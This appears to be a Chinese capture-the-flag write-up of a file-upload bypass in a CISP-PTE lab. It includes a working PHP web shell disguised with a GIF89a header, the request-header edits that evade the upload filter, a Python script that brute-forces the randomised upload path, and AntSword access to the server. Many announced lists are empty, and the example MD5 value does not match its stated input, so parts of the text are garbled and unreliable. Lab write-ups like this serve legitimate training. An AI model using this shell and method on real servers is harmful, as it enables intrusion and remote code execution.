作为一名长期从事Web安全测试的工程师,我经常遇到文件上传漏洞的案例。今天要分享的是在CISP-PTE靶场中突破文件上传限制的完整过程。这个案例非常典型,涉及文件头欺骗、MIME类型绕过和路径枚举等核心技术点。
打开靶场后,我们看到的界面是一个标准的文件上传功能页面。关键提示信息是:"文件上传本身没有问题,有问题的是文件上传后服务器怎么处理、解释文件"。这句话直接点明了漏洞的本质——服务端对上传文件的处理逻辑存在缺陷。
从安全工程师的角度看,这类漏洞通常出现在以下场景:
我创建了一个特殊的PHP文件mooyuan.php,其核心结构如下:
php复制GIF89a
<?php
echo "mooyuan";
@EVAL($_POST['ljn']);
?>
这个文件设计有几个关键点:
安全提示:在实际渗透测试中,使用EVAL等危险函数需要特别谨慎,确保只在授权测试环境中进行。
首次尝试直接上传.php文件时,系统返回"图片上传失败",这表明服务端有基础的文件扩展名过滤。这是最常见的第一道防线,但往往也是最容易绕过的。
通过BurpSuite拦截上传请求,我们发现关键字段:
code复制Content-Disposition: form-data; name="file"; filename="mooyuan.php"
Content-Type: application/octet-stream
修改这两个字段是绕过检测的关键:
这种修改利用了"双重伪装"策略:
成功上传后,系统返回重要提示:"图片上传成功 路径:网站根目录/md5(文件全名+rand(1, 1000))"。这个提示暴露了服务端的两个安全缺陷:
根据提示,文件路径生成算法为:
code复制路径 = md5(原文件名 + 随机数(1-1000)) + ".php"
例如:
code复制原文件名:mooyuan.php
随机数:42
拼接字符串:"mooyuan.php42"
MD5哈希:5d41402abc4b2a76b9719d911017c592
最终路径:/5d41402abc4b2a76b9719d911017c592.php
使用BurpSuite的Intruder模块进行自动化枚举:
关键配置截图:

攻击结果中,状态码200的响应表示找到了有效路径。在本例中,随机数为59时成功命中:
code复制http://2dc56a22.clsadp.com/d0186865bba54942945731a98b624ea9.php
对于喜欢编程的安全工程师,我编写了等效的Python脚本:
python复制import requests
import hashlib
def find_uploaded_file(original_filename, base_url):
for i in range(1, 1001):
hash_input = f"{original_filename}{i}"
md5_hash = hashlib.md5(hash_input.encode()).hexdigest()
test_url = f"{base_url}/{md5_hash}.php"
try:
resp = requests.head(test_url, timeout=3)
if resp.status_code == 200:
print(f"Found: {test_url}")
return test_url
except:
continue
return None
这个脚本的优势在于:
获取有效URL后,使用蚁剑连接WebShell:
成功连接后,可以浏览服务器文件系统,最终在/var/www/html/key.php中找到flag。
从防御角度,我建议采取以下措施:
文件验证层面:
存储处理层面:
服务配置层面:
这个案例展示了文件上传漏洞的完整利用链。值得注意的几个技术要点:
在实际渗透测试工作中,我总结出以下经验:
文件上传功能看似简单,但安全实现需要考虑多方面因素。希望这个案例能帮助开发者更好地理解相关风险,也帮助安全工程师掌握测试方法。